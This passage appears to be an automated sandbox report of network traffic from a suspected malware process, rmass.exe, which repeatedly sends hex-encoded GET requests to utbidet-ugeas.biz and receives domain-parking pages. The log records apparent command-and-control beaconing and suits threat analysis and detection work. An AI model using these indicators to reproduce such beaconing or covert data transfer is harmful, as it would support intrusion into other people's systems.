Jan 5, 2025 10:48:48.645215034 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZTEyZWIwYTgtMGJjMy00MzBiLWI2ZmQtYWIxMjQ5MWUwMjIxIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	58688	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:52.592849016 CET	169	OUT	GET /d/N?0235FAB42D35FAB42D1BFA982D35FA9C9531D696E934FA748537FE820307D48D1F05CA9A2D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:53.047586918 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:52 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 74e730be-f20d-48cc-9f8c-b2ea16f14154 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_R+cqhN6cMLXo/be11smZebX+sVNCDYVGZcYMVCVIf42rlIPWTTVFclEowZgykQIL0s2NaosQB56GV3CiLlGD3g== set-cookie: parking_session=74e730be-f20d-48cc-9f8c-b2ea16f14154; expires=Sun, 05 Jan 2025 10:03:53 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 52 2b 63 71 68 4e 36 63 4d 4c 58 6f 2f 62 65 31 31 73 6d 5a 65 62 58 2b 73 56 4e 43 44 59 56 47 5a 63 59 4d 56 43 56 49 66 34 32 72 6c 49 50 57 54 54 56 46 63 6c 45 6f 77 5a 67 79 6b 51 49 4c 30 73 32 4e 61 6f 73 51 42 35 36 47 56 33 43 69 4c 6c 47 44 33 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_R+cqhN6cMLXo/be11smZebX+sVNCDYVGZcYMVCVIf42rlIPWTTVFclEowZgykQIL0s2NaosQB56GV3CiLlGD3g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:53.047614098 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNzRlNzMwYmUtZjIwZC00OGNjLTlmOGMtYjJlYTE2ZjE0MTU0IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	58712	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:57.335027933 CET	169	OUT	GET /d/N?02568106D7568106D778812AD756812E6F52AD24135781C67F548530F964AF3FE566B128D7 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:57.802972078 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:56 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: b25bc445-a9ed-425e-9b10-bd6a79908419 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VcyRHS1ZBo7vKvnFsyhNtMirdneQX/HBhF+9ByW/aVMYe7kuaGBf7mGZW95/4ZHh+UH5kRDKpTRxt9r+HFFLeg== set-cookie: parking_session=b25bc445-a9ed-425e-9b10-bd6a79908419; expires=Sun, 05 Jan 2025 10:03:57 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 63 79 52 48 53 31 5a 42 6f 37 76 4b 76 6e 46 73 79 68 4e 74 4d 69 72 64 6e 65 51 58 2f 48 42 68 46 2b 39 42 79 57 2f 61 56 4d 59 65 37 6b 75 61 47 42 66 37 6d 47 5a 57 39 35 2f 34 5a 48 68 2b 55 48 35 6b 52 44 4b 70 54 52 78 74 39 72 2b 48 46 46 4c 65 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VcyRHS1ZBo7vKvnFsyhNtMirdneQX/HBhF+9ByW/aVMYe7kuaGBf7mGZW95/4ZHh+UH5kRDKpTRxt9r+HFFLeg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:57.803009987 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjI1YmM0NDUtYTllZC00MjVlLTliMTAtYmQ2YTc5OTA4NDE5IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	58724	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:58.868828058 CET	169	OUT	GET /d/N?02BF19A92FBF19A92F9119852FBF198197BB358BEBBE196987BD1D9F018D37901D8F29872F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:59.334528923 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:59 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 30767ca4-7443-4204-a5e2-78f85e1066e8 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yp/gESX5NrxwEA4R/XbtiUlLF9IiPMDDzdRJSuLw+tQJT/Gb/K13TsTGnZyhyMwuXmcyUeZ3k5dDG7Ta8wTsJg== set-cookie: parking_session=30767ca4-7443-4204-a5e2-78f85e1066e8; expires=Sun, 05 Jan 2025 10:03:59 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 79 70 2f 67 45 53 58 35 4e 72 78 77 45 41 34 52 2f 58 62 74 69 55 6c 4c 46 39 49 69 50 4d 44 44 7a 64 52 4a 53 75 4c 77 2b 74 51 4a 54 2f 47 62 2f 4b 31 33 54 73 54 47 6e 5a 79 68 79 4d 77 75 58 6d 63 79 55 65 5a 33 6b 35 64 44 47 37 54 61 38 77 54 73 4a 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yp/gESX5NrxwEA4R/XbtiUlLF9IiPMDDzdRJSuLw+tQJT/Gb/K13TsTGnZyhyMwuXmcyUeZ3k5dDG7Ta8wTsJg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:59.334551096 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzA3NjdjYTQtNzQ0My00MjA0LWE1ZTItNzhmODVlMTA2NmU4IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	58751	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:02.834547043 CET	169	OUT	GET /d/N?022C0437A62C0437A602041BA62C041F1E282815622D04F70E2E0001881E2A0E941C3419A6 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:03.301480055 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:02 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 19e63d1a-7324-44f8-ab6e-4db063ec463c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FkiXrQLcm4GM1yHAJNiw7UWuiq3or20AzD6lNhZV/Aj0A22aFX9xEcM6cmc/I+u6wOm3L3Tc69wPvB93+7me/w== set-cookie: parking_session=19e63d1a-7324-44f8-ab6e-4db063ec463c; expires=Sun, 05 Jan 2025 10:04:03 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 46 6b 69 58 72 51 4c 63 6d 34 47 4d 31 79 48 41 4a 4e 69 77 37 55 57 75 69 71 33 6f 72 32 30 41 7a 44 36 6c 4e 68 5a 56 2f 41 6a 30 41 32 32 61 46 58 39 78 45 63 4d 36 63 6d 63 2f 49 2b 75 36 77 4f 6d 33 4c 33 54 63 36 39 77 50 76 42 39 33 2b 37 6d 65 2f 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FkiXrQLcm4GM1yHAJNiw7UWuiq3or20AzD6lNhZV/Aj0A22aFX9xEcM6cmc/I+u6wOm3L3Tc69wPvB93+7me/w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:03.301511049 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTllNjNkMWEtNzMyNC00NGY4LWFiNmUtNGRiMDYzZWM0NjNjIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	58763	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:04.319185972 CET	169	OUT	GET /d/N?02D00325D0D00325D0FE0309D0D0030D68D42F0714D103E578D20713FEE22D1CE2E0330BD0 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:04.772680998 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:03 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 225e33f0-3547-4308-abb5-c668c078b577 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KVbafaQsXvhGizOYQjaDHnD0GMAHFzROIRiMjnDYJ8n5p2QLUyBrnPTX+3erBVzWIQUZ8bD0SOlqWiX1VX8u+Q== set-cookie: parking_session=225e33f0-3547-4308-abb5-c668c078b577; expires=Sun, 05 Jan 2025 10:04:04 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 56 62 61 66 61 51 73 58 76 68 47 69 7a 4f 59 51 6a 61 44 48 6e 44 30 47 4d 41 48 46 7a 52 4f 49 52 69 4d 6a 6e 44 59 4a 38 6e 35 70 32 51 4c 55 79 42 72 6e 50 54 58 2b 33 65 72 42 56 7a 57 49 51 55 5a 38 62 44 30 53 4f 6c 71 57 69 58 31 56 58 38 75 2b 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KVbafaQsXvhGizOYQjaDHnD0GMAHFzROIRiMjnDYJ8n5p2QLUyBrnPTX+3erBVzWIQUZ8bD0SOlqWiX1VX8u+Q==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:04.772689104 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjI1ZTMzZjAtMzU0Ny00MzA4LWFiYjUtYzY2OGMwNzhiNTc3IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	58770	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:05.131566048 CET	169	OUT	GET /d/N?02707090B7707090B75E70BCB77070B80F745CB2737170501F7274A699425EA9854040BEB7 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:05.599833965 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:04 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 0409689b-d309-453f-ae82-2ee4136468a7 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/EXY9j436uySQmnejZH8uDOVt/hynapRUojh0UYVToxmJ4ExRVKrbievVdibPglJKjw31n1VUixk8VKPwEu0Q== set-cookie: parking_session=0409689b-d309-453f-ae82-2ee4136468a7; expires=Sun, 05 Jan 2025 10:04:05 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6b 2f 45 58 59 39 6a 34 33 36 75 79 53 51 6d 6e 65 6a 5a 48 38 75 44 4f 56 74 2f 68 79 6e 61 70 52 55 6f 6a 68 30 55 59 56 54 6f 78 6d 4a 34 45 78 52 56 4b 72 62 69 65 76 56 64 69 62 50 67 6c 4a 4b 6a 77 33 31 6e 31 56 55 69 78 6b 38 56 4b 50 77 45 75 30 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/EXY9j436uySQmnejZH8uDOVt/hynapRUojh0UYVToxmJ4ExRVKrbievVdibPglJKjw31n1VUixk8VKPwEu0Q==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:05.599880934 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMDQwOTY4OWItZDMwOS00NTNmLWFlODItMmVlNDEzNjQ2OGE3IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	58815	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:12.388499975 CET	169	OUT	GET /d/N?028517A6E88517A6E8AB178AE885178E50813B842C84176640871390C6B7399FDAB52788E8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:12.833390951 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:11 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 62fe8591-8cea-4fd8-9808-952123664a05 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTT6QuZVteRQN8SHIIkXXUUd/l/Up2PtkmjXQzUdKp2gW+AcEsQcvg+16fOCKjcKdAI2vgbt8IqEvu3ndB/OEQ== set-cookie: parking_session=62fe8591-8cea-4fd8-9808-952123664a05; expires=Sun, 05 Jan 2025 10:04:12 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 